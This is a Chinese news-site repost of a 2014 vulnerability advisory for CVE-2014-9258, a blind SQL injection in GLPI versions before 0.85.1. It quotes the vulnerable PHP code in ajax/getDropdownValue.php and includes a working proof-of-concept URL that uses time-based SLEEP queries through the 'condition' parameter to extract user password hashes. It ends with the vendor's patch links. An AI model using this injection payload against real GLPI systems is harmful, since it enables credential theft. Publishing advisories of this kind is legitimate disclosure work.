你好,游客 登录 注册 搜索
背景:
阅读新闻

GLPI 0.85版本盲SQL注入漏洞

[日期:2014-12-23] 来源:Linux社区  作者:Linux [字体:大 中 小]

发布日期:2014-12-19
更新日期:2014-12-23

受影响系统:
GLPI GLPI < 0.85.1
描述:
CVE(CAN) ID: CVE-2014-9258

 GLPI是计算机及设备管理系统。

GLPI 0.85.1之前版本,ajax/getDropdownValue.php在实现上存在sql注入漏洞,经过身份验证的远程用户通过condition参数,利用此漏洞可执行任意sql命令。

<*来源:Kacper Szurek
 
  链接:http://osvdb.org/show/osvdb/115957
 *>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
# Exploit Title: GLPI 0.85 Blind SQL Injection
 # Date: 28-11-2014
 # Exploit Author: Kacper Szurek - http://security.szurek.pl/ http://twitter.com/KacperSzurek
 # Software Link: https://forge.indepnet.net/attachments/download/1899/glpi-0.85.tar.gz
 # CVE: CVE-2014-9258
 # Category: webapps
   
 1. Description
   
 $_GET['condition'] is not escaped correctly.

 File: ajax\getDropdownValue.php
 if (isset($_GET['condition']) && !empty($_GET['condition'])) {
    $_GET['condition'] = rawurldecode(stripslashes($_GET['condition']));
 }
 if (isset($_GET['condition']) && ($_GET['condition'] != '')) {
    $where .= " AND ".$_GET['condition']." ";
 }
 $query = "SELECT `$table`.* $addselect
          FROM `$table`
          $addjoin
          $where
          ORDER BY $add_order `$table`.`completename`
          $LIMIT";

 if ($result = $DB->query($query)) {

 }

http://security.szurek.pl/glpi-085-blind-sql-injection.html

 2. Proof of Concept

http://glpi-url/ajax/getDropdownValue.php?itemtype=group&condition=1 AND id = (SELECT IF(substr(password,1,1) = CHAR(36), SLEEP(5), 0) FROM `glpi_users` WHERE ID = 2)

 3. Solution:
   
 Update to version 0.85.1
http://www.glpi-project.org/spip.php?page=annonce&id_breve=334&lang=en
https://forge.indepnet.net/attachments/download/1928/glpi-0.85.1.tar.gz

建议:
厂商补丁:

GLPI
 ----
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:


http://www.glpi-project.org/spip.php?page=annonce&id_breve=334&lang=en
https://forge.indepnet.net/attachments/download/1928/glpi-0.85.1.tar.gz

本文永久更新链接地址:http://www.linuxidc.com/Linux/2014-12/110779.htm

linux
相关资讯       GLPI 
本文评论   查看全部评论 (0)
表情: 表情 姓名: 字数

       

评论声明
  • 尊重网上道德,遵守中华人民共和国的各项有关法律法规
  • 承担一切因您的行为而直接或间接导致的民事或刑事法律责任
  • 本站管理人员有权保留或删除其管辖留言中的任意内容
  • 本站有权在网站内转载或引用您的评论
  • 参与本评论即表明您已经阅读并接受上述条款